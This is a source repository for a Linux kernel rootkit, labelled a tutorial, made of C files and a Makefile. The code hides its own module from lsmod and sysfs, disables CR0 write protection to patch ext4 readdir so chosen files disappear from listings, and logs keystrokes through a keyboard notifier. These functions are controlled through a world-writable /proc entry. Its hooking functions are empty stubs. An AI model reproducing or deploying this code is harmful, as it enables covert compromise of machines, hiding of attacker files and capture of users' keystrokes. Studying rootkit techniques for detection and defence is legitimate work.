├── .gitignore ├── src ├── kb_ops.h ├── symbols_template.h ├── ext4_ops.h ├── hook.h ├── kb_ops.c ├── hook.c ├── ext4_ops.c └── rootkit.c └── Makefile /.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore the symbols file - it's auto generated 2 | src/symbols.h 3 | 4 | .clang_complete 5 | .*.cmd 6 | *.out 7 | *.o 8 | cscope.files 9 | -------------------------------------------------------------------------------- /src/kb_ops.h: -------------------------------------------------------------------------------- 1 | // Beneath C Level - Rootkit tutorial 2 | // 3 | // kb_ops.h - The header file for the keyboard operations 4 | // 5 | // Author: Nick Newson 6 | // Website: http://beneathclevel.blogspot.co.uk/ 7 | // 8 | // Tab size = 4 9 | 10 | #ifndef __KM_KB_OPS_H__ 11 | #define __KM_KB_OPS_H__ 12 | 13 | // Function Declarations 14 | void km_kb_capture( 15 | void ); 16 | 17 | void km_kb_release( 18 | void ); 19 | 20 | #endif // __KM_KB_OPS_H__ 21 | -------------------------------------------------------------------------------- /src/symbols_template.h: -------------------------------------------------------------------------------- 1 | // Beneath C Level - Rootkit tutorial 2 | // 3 | // symbols.h - The auto generated file (from symbols_template.h) that looks up unexported symbols from System.map 4 | // 5 | // Author: Nick Newson 6 | // Website: http://beneathclevel.blogspot.co.uk/ 7 | // 8 | // Tab size = 4 9 | 10 | #ifndef __KM_SYMBOLS_H__ 11 | #define __KM_SYMBOLS_H__ 12 | 13 | // Replaced automatically by the Makefile 14 | #define c_modules_symbol 0xMODULES_SYMBOL 15 | #define c_sysfs_mutex_symbol 0xSYSFS_MUTEX_SYMBOL 16 | 17 | #define f_sysfs_unlink_sibling_symbol 0xSYSFS_UNLINK_SIBLING_SYMBOL 18 | #define f_sysfs_link_sibling_symbol 0xSYSFS_LINK_SIBLING_SYMBOL 19 | 20 | #define c_ext4_dir_operations_symbol 0xEXT4_DIR_OPERATIONS_SYMBOL 21 | #define c_ext4_readdir_symbol 0xEXT4_READDIR_SYMBOL 22 | 23 | #endif // __KM_SYMBOLS_H__ 24 | -------------------------------------------------------------------------------- /src/ext4_ops.h: -------------------------------------------------------------------------------- 1 | // Beneath C Level - Rootkit tutorial 2 | // 3 | // ext4_ops.h - The header file for the ext4 operations 4 | // 5 | // Author: Nick Newson 6 | // Website: http://beneathclevel.blogspot.co.uk/ 7 | // 8 | // Tab size = 4 9 | 10 | #ifndef __KM_EXT4_OPS_H__ 11 | #define __KM_EXT4_OPS_H__ 12 | 13 | #include 14 | 15 | // Type Declarations 16 | typedef struct file file; 17 | 18 | // Function Declarations 19 | void km_ext4_ops_apply_readdir( 20 | void ); 21 | 22 | void km_ext4_ops_remove_readdir( 23 | void ); 24 | 25 | void km_ext4_ops_hide_file( 26 | const char* const file ); 27 | 28 | void km_ext4_ops_show_file( 29 | const char* const file ); 30 | 31 | int km_ext4_ops_is_file_hidden( 32 | const char* const file ); 33 | 34 | #endif // __KM_EXT4_OPS_H__ 35 | -------------------------------------------------------------------------------- /src/hook.h: -------------------------------------------------------------------------------- 1 | // Beneath C Level - Rootkit tutorial 2 | // 3 | // hook.h - The header file for the function hooking code 4 | // 5 | // Author: Nick Newson 6 | // Website: http://beneathclevel.blogspot.co.uk/ 7 | // 8 | // Tab size = 4 9 | 10 | #ifndef __KM_HOOK_H__ 11 | #define __KM_HOOK_H__ 12 | 13 | // Type Declarations 14 | typedef struct km_hook km_hook; 15 | 16 | // Function Declarations 17 | km_hook* km_hook_init( 18 | void* const original_func, 19 | const unsigned prolog_offset, 20 | void* const new_func ); 21 | 22 | void km_hook_release( 23 | km_hook* const hook ); 24 | 25 | void km_hook_release_all( 26 | void ); 27 | 28 | // The calling code should ensure cr0 write protection disable/enable sandwiches these functions 29 | void km_hook_apply( 30 | km_hook* const hook ); 31 | 32 | void km_hook_apply_all( 33 | void ); 34 | 35 | void km_hook_remove( 36 | km_hook* const hook ); 37 | 38 | void km_hook_remove_all( 39 | void ); 40 | 41 | #endif // __KM_HOOK_H__ 42 | -------------------------------------------------------------------------------- /src/kb_ops.c: -------------------------------------------------------------------------------- 1 | // Beneath C Level - Rootkit tutorial 2 | // 3 | // kb_ops.c - Registers a keyboard notifier with the tty subsystem 4 | // 5 | // Author: Nick Newson 6 | // Website: http://beneathclevel.blogspot.co.uk/ 7 | // 8 | // Tab size = 4 9 | 10 | #include "kb_ops.h" 11 | 12 | #include 13 | #include 14 | 15 | // Type Declarations 16 | typedef struct notifier_block notifier_block; 17 | typedef struct keyboard_notifier_param 18 | keyboard_notifier_param; 19 | 20 | // Function Declarations 21 | static int kb_notifier_call( 22 | notifier_block* blk, 23 | unsigned long code, 24 | void* _param ); 25 | 26 | // Globals 27 | static notifier_block g_kb_notifier = 28 | { 29 | .notifier_call = kb_notifier_call, 30 | }; 31 | 32 | 33 | // Function Definitions 34 | void 35 | km_kb_capture( 36 | void 37 | ) 38 | { 39 | register_keyboard_notifier( &g_kb_notifier ); 40 | } 41 | 42 | void 43 | km_kb_release( 44 | void 45 | ) 46 | { 47 | unregister_keyboard_notifier( &g_kb_notifier ); 48 | } 49 | 50 | static int 51 | kb_notifier_call( 52 | notifier_block* blk, 53 | unsigned long code, 54 | void* _param 55 | ) 56 | { 57 | keyboard_notifier_param* param = _param; 58 | 59 | if ( code == KBD_KEYSYM && param->down ) 60 | { 61 | printk( KERN_ERR "km: Keyboard capture - keysym '%c'.\n", param->value ); 62 | } 63 | 64 | return NOTIFY_OK; 65 | } 66 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # Project Name (.ko) 2 | PROJECT = km 3 | 4 | # Directories 5 | SOURCE_DIRECTORY = src 6 | 7 | # Symbol template and output 8 | SYMBOL_TEMPLATE = symbols_template.h 9 | SYMBOL_OUTPUT = symbols.h 10 | 11 | #-- The project files -- 12 | 13 | # Add all the source files 14 | SOURCE_FILES = $(shell ls $(PWD)/$(SOURCE_DIRECTORY)/*.c) 15 | 16 | # Create an object file of every c file 17 | OBJECTS = $(patsubst $(PWD)/%.c,%.o,$(SOURCE_FILES)) 18 | 19 | # Find symbols in System.map 20 | MODULES_SYMBOL = $(shell grep -w modules /boot/System.map-$(shell uname -r) | awk '{print $$1}') 21 | SYSFS_MUTEX_SYMBOL = $(shell grep -w sysfs_mutex /boot/System.map-$(shell uname -r) | awk '{print $$1}') 22 | SYSFS_UNLINK_SIBLING_SYMBOL = $(shell grep -w sysfs_unlink_sibling /boot/System.map-$(shell uname -r) | awk '{print $$1}') 23 | SYSFS_LINK_SIBLING_SYMBOL = $(shell grep -w sysfs_link_sibling /boot/System.map-$(shell uname -r) | awk '{print $$1}') 24 | EXT4_DIR_OPERATIONS_SYMBOL = $(shell grep -w ext4_dir_operations /boot/System.map-$(shell uname -r) | awk '{print $$1}') 25 | EXT4_READDIR_SYMBOL = $(shell grep -w ext4_readdir /boot/System.map-$(shell uname -r) | awk '{print $$1}') 26 | 27 | #-- Build the project -- 28 | 29 | obj-m += $(PROJECT).o 30 | $(PROJECT)-objs = $(OBJECTS) 31 | 32 | all: 33 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 34 | 35 | .PHONY : symbols 36 | symbols: 37 | sed -e s/MODULES_SYMBOL/$(MODULES_SYMBOL)/g \ 38 | -e s/SYSFS_MUTEX_SYMBOL/$(SYSFS_MUTEX_SYMBOL)/g \ 39 | -e s/SYSFS_UNLINK_SIBLING_SYMBOL/$(SYSFS_UNLINK_SIBLING_SYMBOL)/g \ 40 | -e s/SYSFS_LINK_SIBLING_SYMBOL/$(SYSFS_LINK_SIBLING_SYMBOL)/g \ 41 | -e s/EXT4_DIR_OPERATIONS_SYMBOL/$(EXT4_DIR_OPERATIONS_SYMBOL)/g \ 42 | -e s/EXT4_READDIR_SYMBOL/$(EXT4_READDIR_SYMBOL)/g \ 43 | $(SOURCE_DIRECTORY)/$(SYMBOL_TEMPLATE) > $(SOURCE_DIRECTORY)/$(SYMBOL_OUTPUT) 44 | 45 | .PHONY : clean 46 | clean: 47 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 48 | -------------------------------------------------------------------------------- /src/hook.c: -------------------------------------------------------------------------------- 1 | // Beneath C Level - Rootkit tutorial 2 | // 3 | // hook.c - The function hook handling code 4 | // 5 | // Author: Nick Newson 6 | // Website: http://beneathclevel.blogspot.co.uk/ 7 | // 8 | // Tab size = 4 9 | 10 | #include "hook.h" 11 | 12 | #include 13 | #include 14 | 15 | // Type Declarations 16 | typedef struct list_head list_head; 17 | 18 | // Type Definitions 19 | struct km_hook 20 | { 21 | list_head list; 22 | 23 | void* original_func; 24 | unsigned prolog_offset; 25 | 26 | void* new_func; 27 | void* trampoline_func; 28 | }; 29 | 30 | // Globals 31 | static LIST_HEAD( g_hooks ); 32 | 33 | // Function Definitions 34 | km_hook* 35 | km_hook_init( 36 | void* const original_func, 37 | const unsigned prolog_offset, 38 | void* const new_func 39 | ) 40 | { 41 | km_hook* hook = kmalloc( sizeof( km_hook ), GFP_KERNEL ); 42 | 43 | // Setup the hook structure 44 | hook->original_func = original_func; 45 | hook->prolog_offset = prolog_offset; 46 | 47 | hook->new_func = new_func; 48 | hook->trampoline_func = NULL; 49 | 50 | list_add( &g_hooks, &hook->list ); 51 | 52 | return hook; 53 | } 54 | 55 | void 56 | km_hook_release( 57 | km_hook* const hook 58 | ) 59 | { 60 | if ( hook->trampoline_func ) 61 | { 62 | km_hook_remove( hook ); 63 | } 64 | 65 | list_del( &hook->list ); 66 | kfree( hook ); 67 | } 68 | 69 | void 70 | km_hook_release_all( 71 | void 72 | ) 73 | { 74 | km_hook* hook; 75 | 76 | // Since we're going to free the list entry we can't use the standard list iterator 77 | for ( hook = list_entry( g_hooks.next, km_hook, list ) ; &hook->list != &g_hooks ; ) 78 | { 79 | km_hook* old_hook = hook; 80 | hook = list_entry( hook->list.next, km_hook, list ); 81 | 82 | km_hook_release( old_hook ); 83 | } 84 | } 85 | 86 | void 87 | km_hook_apply( 88 | km_hook* const hook 89 | ) 90 | { 91 | } 92 | 93 | void 94 | km_hook_apply_all( 95 | void 96 | ) 97 | { 98 | km_hook* hook; 99 | 100 | list_for_each_entry( hook, &g_hooks, list ) 101 | { 102 | km_hook_apply( hook ); 103 | } 104 | } 105 | 106 | void 107 | km_hook_remove( 108 | km_hook* const hook 109 | ) 110 | { 111 | hook->trampoline_func = NULL; 112 | } 113 | 114 | void 115 | km_hook_remove_all( 116 | void 117 | ) 118 | { 119 | km_hook* hook; 120 | 121 | list_for_each_entry( hook, &g_hooks, list ) 122 | { 123 | km_hook_remove( hook ); 124 | } 125 | } 126 | -------------------------------------------------------------------------------- /src/ext4_ops.c: -------------------------------------------------------------------------------- 1 | // Beneath C Level - Rootkit tutorial 2 | // 3 | // ext4_ops.c - Manipulates the ext4 file_operations structure directly - so functionality can be re-routed 4 | // 5 | // Author: Nick Newson 6 | // Website: http://beneathclevel.blogspot.co.uk/ 7 | // 8 | // Tab size = 4 9 | 10 | #include "ext4_ops.h" 11 | 12 | #include "linux/rwlock_types.h" 13 | #include 14 | 15 | #include "symbols.h" 16 | 17 | // Type Declarations 18 | typedef struct file_operations file_operations; 19 | typedef struct rb_node rb_node; 20 | typedef struct rb_root rb_root; 21 | 22 | // Type Defintiions 23 | typedef int ( *ext4_readdir_func )( 24 | file* filp, 25 | void* dirent, 26 | filldir_t filldir ); 27 | 28 | typedef struct 29 | { 30 | rb_node node; 31 | char name[]; // Variable length array support in C99 32 | } km_hidden_file; 33 | 34 | typedef struct 35 | { 36 | void* dirent; 37 | filldir_t orig_filldir; 38 | } km_ext4_filldir_data; 39 | 40 | // Function Declarations 41 | static int ext4_read_dir( 42 | file* filp, 43 | void* dirent, 44 | filldir_t filldir ); 45 | 46 | static int ext4_filldir( 47 | void* userdata, 48 | const char* name, 49 | int namlen, 50 | loff_t offset, 51 | u64 ino, 52 | unsigned int d_type ); 53 | 54 | static rb_node* km_ext4_ops_find_file( 55 | const char* const file ); 56 | 57 | // Globals 58 | static file_operations* const g_ext4_dir_operations = ( file_operations* ) c_ext4_dir_operations_symbol; 59 | static const ext4_readdir_func g_orig_ext4_readdir = ( ext4_readdir_func ) c_ext4_readdir_symbol; 60 | 61 | static DEFINE_RWLOCK( g_hidden_files_lock ); 62 | static rb_root g_hidden_files = RB_ROOT; 63 | 64 | // Function Definitions 65 | void 66 | km_ext4_ops_apply_readdir( 67 | void 68 | ) 69 | { 70 | g_ext4_dir_operations->readdir = ext4_read_dir; 71 | } 72 | 73 | void 74 | km_ext4_ops_remove_readdir( 75 | void 76 | ) 77 | { 78 | g_ext4_dir_operations->readdir = g_orig_ext4_readdir; 79 | } 80 | 81 | void 82 | km_ext4_ops_hide_file( 83 | const char* const file 84 | ) 85 | { 86 | // Check if it's already hidden... 87 | if ( !km_ext4_ops_find_file( file ) ) 88 | { 89 | rb_node** new; 90 | rb_node* parent = NULL; 91 | 92 | // Allocate node with flexible array for string and null terminator 93 | km_hidden_file* new_hidden_file = kmalloc( sizeof( km_hidden_file ) + strlen( file ) + 1, GFP_KERNEL ); 94 | strcpy( new_hidden_file->name, file ); 95 | 96 | write_lock( &g_hidden_files_lock ); 97 | 98 | new = &g_hidden_files.rb_node; 99 | while ( *new ) 100 | { 101 | km_hidden_file* hidden_file = rb_entry( *new, km_hidden_file, node ); 102 | int result = strcmp( file, hidden_file->name ); 103 | 104 | parent = *new; 105 | 106 | if ( result < 0 ) 107 | { 108 | new = &parent->rb_left; 109 | } 110 | else if ( result > 0 ) 111 | { 112 | new = &parent->rb_right; 113 | } 114 | else 115 | { 116 | // Given we checked this file wasn't present...this should never happen 117 | printk( KERN_ERR "km: Unable to add file '%s' to rbtree.\n", file ); 118 | break; 119 | } 120 | } 121 | 122 | rb_link_node( &new_hidden_file->node, parent, new ); 123 | rb_insert_color( &new_hidden_file->node, &g_hidden_files ); 124 | 125 | write_unlock( &g_hidden_files_lock ); 126 | } 127 | } 128 | 129 | void 130 | km_ext4_ops_show_file( 131 | const char* const file 132 | ) 133 | { 134 | rb_node* node = km_ext4_ops_find_file( file ); 135 | 136 | // Check if it's not hidden... 137 | if ( node ) 138 | { 139 | km_hidden_file* hidden_file; 140 | 141 | write_lock( &g_hidden_files_lock ); 142 | rb_erase( node, &g_hidden_files ); 143 | write_unlock( &g_hidden_files_lock ); 144 | 145 | hidden_file = rb_entry( node, km_hidden_file, node ); 146 | kfree( hidden_file ); 147 | } 148 | } 149 | 150 | int 151 | km_ext4_ops_is_file_hidden( 152 | const char* const file 153 | ) 154 | { 155 | return km_ext4_ops_find_file( file ) != NULL; 156 | } 157 | 158 | static rb_node* 159 | km_ext4_ops_find_file( 160 | const char* const file 161 | ) 162 | { 163 | rb_node* node = g_hidden_files.rb_node; 164 | 165 | read_lock( &g_hidden_files_lock ); 166 | 167 | while ( node ) 168 | { 169 | km_hidden_file* hidden_file = rb_entry( node, km_hidden_file, node ); 170 | int result = strcmp( file, hidden_file->name ); 171 | 172 | if ( result < 0 ) 173 | { 174 | node = node->rb_left; 175 | } 176 | else if ( result > 0 ) 177 | { 178 | node = node->rb_right; 179 | } 180 | else 181 | { 182 | // Found it 183 | break; 184 | } 185 | } 186 | 187 | read_unlock( &g_hidden_files_lock ); 188 | 189 | return node; 190 | } 191 | 192 | int 193 | ext4_read_dir( 194 | file* filp, 195 | void* dirent, 196 | filldir_t filldir 197 | ) 198 | { 199 | const ext4_readdir_func orig_func = g_orig_ext4_readdir; 200 | 201 | km_ext4_filldir_data userdata = 202 | { 203 | .dirent = dirent, 204 | .orig_filldir = filldir, 205 | }; 206 | 207 | int result = orig_func( filp, &userdata, ext4_filldir ); 208 | 209 | return result; 210 | } 211 | 212 | static int 213 | ext4_filldir( 214 | void* __buf, 215 | const char* name, 216 | int namlen, 217 | loff_t offset, 218 | u64 ino, 219 | unsigned int d_type 220 | ) 221 | { 222 | km_ext4_filldir_data* userdata = __buf; 223 | 224 | if ( km_ext4_ops_is_file_hidden( name ) ) 225 | { 226 | return 0; 227 | } 228 | 229 | return ( *userdata->orig_filldir )( userdata->dirent, name, namlen, offset, ino, d_type ); 230 | } 231 | -------------------------------------------------------------------------------- /src/rootkit.c: -------------------------------------------------------------------------------- 1 | // Beneath C Level - Rootkit tutorial 2 | // 3 | // rootkit.c - The main file that loads and hides the rootkit 4 | // 5 | // Author: Nick Newson 6 | // Website: http://beneathclevel.blogspot.co.uk/ 7 | // 8 | // Tab size = 4 9 | 10 | #include 11 | #include 12 | 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | #include "ext4_ops.h" 22 | #include "hook.h" 23 | #include "kb_ops.h" 24 | #include "symbols.h" 25 | 26 | MODULE_LICENSE( "GPL" ); 27 | MODULE_AUTHOR( "nnewson@gmail.com" ); 28 | MODULE_VERSION( "0.1" ); 29 | 30 | // Type Declarations 31 | typedef struct dentry dentry; 32 | typedef struct file file; 33 | typedef struct file_operations file_operations; 34 | typedef struct inode inode; 35 | typedef struct kobject kobject; 36 | typedef struct list_head list_head; 37 | typedef struct mutex mutex; 38 | typedef struct path path; 39 | typedef struct proc_dir_entry proc_dir_entry; 40 | typedef struct sysfs_dirent sysfs_dirent; 41 | 42 | // Type Definitions 43 | typedef void ( *sysfs_unlink_sibling_func )( 44 | sysfs_dirent* sd ); 45 | 46 | typedef int ( *sysfs_link_sibling_func )( 47 | sysfs_dirent* sd ); 48 | 49 | typedef void ( *km_command_func )( 50 | const char* const data ); 51 | 52 | typedef struct 53 | { 54 | const char* const command_name; 55 | size_t command_size; 56 | km_command_func command; 57 | 58 | // Helper define to set name and size at same time ( including removing the null terminator ) 59 | #define KM_COMMAND_NAME( name ) name, .command_size = sizeof( name ) - 1 60 | } km_command; 61 | 62 | typedef struct 63 | { 64 | unsigned hidden; 65 | } km_state; 66 | 67 | // Constants 68 | #define c_buffer_size 256 69 | 70 | // Function Declarations 71 | static unsigned long disable_wp( 72 | void ); 73 | 74 | static void restore_wp( 75 | const unsigned long cr0 ); 76 | 77 | static int km_proc_read( 78 | char* page, 79 | char** start, 80 | off_t off, 81 | int count, 82 | int* eof, 83 | void* data ); 84 | 85 | static int km_proc_write( 86 | file* file, 87 | const char __user* buffer, 88 | unsigned long count, 89 | void* data ); 90 | 91 | static int km_proc_init( 92 | void ); 93 | 94 | // Commands 95 | static void km_hide_module( 96 | const char* const data ); 97 | 98 | static void km_show_module( 99 | const char* const data ); 100 | 101 | static void km_apply_ext4_mod( 102 | const char* const data ); 103 | 104 | static void km_remove_ext4_mod( 105 | const char* const data ); 106 | 107 | static void km_hide_file( 108 | const char* const data ); 109 | 110 | static void km_show_file( 111 | const char* const data ); 112 | 113 | static void km_capture_kb( 114 | const char* const data ); 115 | 116 | static void km_release_kb( 117 | const char* const data ); 118 | 119 | // Globals 120 | static km_command g_commands[] = 121 | { 122 | { 123 | .command_name = KM_COMMAND_NAME( "hide module" ), 124 | .command = km_hide_module, 125 | }, 126 | { 127 | .command_name = KM_COMMAND_NAME( "show module" ), 128 | .command = km_show_module, 129 | }, 130 | { 131 | .command_name = KM_COMMAND_NAME( "apply ext4" ), 132 | .command = km_apply_ext4_mod, 133 | }, 134 | { 135 | .command_name = KM_COMMAND_NAME( "remove ext4" ), 136 | .command = km_remove_ext4_mod, 137 | }, 138 | { 139 | .command_name = KM_COMMAND_NAME( "hide file " ), 140 | .command = km_hide_file, 141 | }, 142 | { 143 | .command_name = KM_COMMAND_NAME( "show file " ), 144 | .command = km_show_file, 145 | }, 146 | { 147 | .command_name = KM_COMMAND_NAME( "capture keyboard" ), 148 | .command = km_capture_kb, 149 | }, 150 | { 151 | .command_name = KM_COMMAND_NAME( "release keyboard" ), 152 | .command = km_release_kb, 153 | }, 154 | }; 155 | 156 | static km_state g_state = 157 | { 158 | .hidden = 0, 159 | }; 160 | 161 | static char g_buffer[ c_buffer_size ]; 162 | 163 | 164 | static list_head* g_modules = ( list_head* ) c_modules_symbol; 165 | static mutex* g_sysfs_mutex = ( mutex* ) c_sysfs_mutex_symbol; 166 | 167 | static sysfs_unlink_sibling_func sysfs_unlink_sibling = ( sysfs_unlink_sibling_func ) f_sysfs_unlink_sibling_symbol; 168 | static sysfs_link_sibling_func sysfs_link_sibling = ( sysfs_link_sibling_func ) f_sysfs_link_sibling_symbol; 169 | 170 | // Function Definitions 171 | static unsigned long 172 | disable_wp( 173 | void 174 | ) 175 | { 176 | unsigned long cr0; 177 | 178 | preempt_disable(); 179 | cr0 = read_cr0(); 180 | write_cr0( cr0 & ~X86_CR0_WP ); 181 | 182 | return cr0; 183 | } 184 | 185 | static void 186 | restore_wp( 187 | const unsigned long cr0 188 | ) 189 | { 190 | write_cr0( cr0 ); 191 | preempt_enable_no_resched(); 192 | } 193 | 194 | static int 195 | km_proc_read( 196 | char* page, 197 | char** start, 198 | off_t off, 199 | int count, 200 | int* eof, 201 | void* data 202 | ) 203 | { 204 | int len = sprintf( page, "Hiding: %u\n", g_state.hidden ); 205 | return len; 206 | } 207 | 208 | static int 209 | km_proc_write( 210 | file* file, 211 | const char __user* buffer, 212 | unsigned long count, 213 | void* data 214 | ) 215 | { 216 | if ( count > c_buffer_size ) 217 | { 218 | count = c_buffer_size; 219 | } 220 | 221 | if( copy_from_user( g_buffer, buffer, count ) ) 222 | { 223 | return -EFAULT; 224 | } 225 | else 226 | { 227 | size_t i; 228 | size_t num_commands = sizeof( g_commands ) / sizeof( g_commands[ 0 ] ); 229 | 230 | // Replace any newlines with null-terminator 231 | char* cursor = strchr( g_buffer, '\n' ); 232 | if ( cursor ) 233 | { 234 | *cursor = '\0'; 235 | } 236 | 237 | for ( i = 0 ; i < num_commands ; i++ ) 238 | { 239 | if ( strncmp( g_buffer, g_commands[ i ].command_name, g_commands[ i ].command_size ) == 0 ) 240 | { 241 | ( *g_commands[ i ].command )( g_buffer + g_commands[ i ].command_size ); 242 | break; 243 | } 244 | } 245 | 246 | if ( i == num_commands ) 247 | { 248 | printk( KERN_WARNING "km: Unknown command: '%s'\n", g_buffer ); 249 | } 250 | } 251 | 252 | return count; 253 | } 254 | 255 | static int 256 | km_proc_init( 257 | void 258 | ) 259 | { 260 | proc_dir_entry* proc_file = create_proc_entry( "kmcc", S_IFREG | S_IRUGO | S_IWUGO, NULL ); 261 | if ( proc_file ) 262 | { 263 | proc_file->read_proc = km_proc_read; 264 | proc_file->write_proc = km_proc_write; 265 | } 266 | else 267 | { 268 | printk( KERN_WARNING "km: Unable to create proc kmcc\n" ); 269 | return 1; 270 | } 271 | 272 | return 0; 273 | } 274 | 275 | static void 276 | km_hide_module( 277 | const char* const data 278 | ) 279 | { 280 | kobject* kobj = &THIS_MODULE->mkobj.kobj; 281 | path km_path; 282 | 283 | // Check to ensure we're hidden first... 284 | if ( g_state.hidden ) 285 | { 286 | return; 287 | } 288 | 289 | g_state.hidden = 1; 290 | 291 | // Remove from sysfs 292 | mutex_lock( g_sysfs_mutex ); 293 | sysfs_unlink_sibling( kobj->sd ); 294 | mutex_unlock( g_sysfs_mutex ); 295 | 296 | kobj->state_in_sysfs = 0; 297 | 298 | spin_lock( &kobj->kset->list_lock ); 299 | list_del_init( &kobj->entry ); 300 | spin_unlock( &kobj->kset->list_lock ); 301 | kset_put( kobj->kset ); 302 | 303 | // Decrement parent ref count in sysfs 304 | kobject_put( kobj->parent ); 305 | 306 | // Remove the km module from the dentry cache if it's present 307 | if ( kern_path( "/sys/module/km", LOOKUP_DIRECTORY, &km_path ) == 0 && km_path.dentry ) 308 | { 309 | d_drop( km_path.dentry ); 310 | } 311 | 312 | // Remove from the module list - so lsmod can't see us 313 | mutex_lock( &module_mutex ); 314 | list_del_rcu( &THIS_MODULE->list ); 315 | mutex_unlock( &module_mutex ); 316 | } 317 | 318 | static void 319 | km_show_module( 320 | const char* const data 321 | ) 322 | { 323 | kobject* kobj = &THIS_MODULE->mkobj.kobj; 324 | 325 | // Check to ensure we're hidden first... 326 | if ( !g_state.hidden ) 327 | { 328 | return; 329 | } 330 | 331 | g_state.hidden = 0; 332 | 333 | // Add to modules list 334 | mutex_lock( &module_mutex ); 335 | list_add_rcu( &THIS_MODULE->list, g_modules); 336 | mutex_unlock( &module_mutex ); 337 | 338 | // Increment parent ref count in sysfs 339 | kobject_get( kobj->parent ); 340 | 341 | // Add to sysfs 342 | kset_get( kobj->kset ); 343 | spin_lock( &kobj->kset->list_lock ); 344 | list_add_tail( &kobj->entry, &kobj->kset->list ); 345 | spin_unlock( &kobj->kset->list_lock ); 346 | 347 | kobj->state_in_sysfs = 1; 348 | 349 | mutex_lock( g_sysfs_mutex ); 350 | sysfs_link_sibling( kobj->sd ); 351 | mutex_unlock( g_sysfs_mutex ); 352 | } 353 | 354 | static void 355 | km_apply_ext4_mod( 356 | const char* const data 357 | ) 358 | { 359 | unsigned long cr0 = disable_wp(); 360 | 361 | km_ext4_ops_apply_readdir(); 362 | 363 | restore_wp( cr0 ); 364 | } 365 | 366 | static void 367 | km_remove_ext4_mod( 368 | const char* const data 369 | ) 370 | { 371 | unsigned long cr0 = disable_wp(); 372 | 373 | km_ext4_ops_remove_readdir(); 374 | 375 | restore_wp( cr0 ); 376 | } 377 | 378 | static void 379 | km_hide_file( 380 | const char* const data 381 | ) 382 | { 383 | km_ext4_ops_hide_file( data ); 384 | } 385 | 386 | static void 387 | km_show_file( 388 | const char* const data 389 | ) 390 | { 391 | km_ext4_ops_show_file( data ); 392 | } 393 | 394 | static void 395 | km_capture_kb( 396 | const char* const data 397 | ) 398 | { 399 | km_kb_capture(); 400 | } 401 | 402 | static void 403 | km_release_kb( 404 | const char* const data 405 | ) 406 | { 407 | km_kb_release(); 408 | } 409 | 410 | // Module init function 411 | static int __init 412 | km_init( 413 | void 414 | ) 415 | { 416 | if ( km_proc_init() ) 417 | return 1; 418 | 419 | return 0; 420 | } 421 | 422 | // Module exit function 423 | static void __exit 424 | km_exit( 425 | void 426 | ) 427 | { 428 | remove_proc_entry( "kmcc", NULL ); 429 | } 430 | 431 | module_init( km_init ); 432 | module_exit( km_exit ); 433 | --------------------------------------------------------------------------------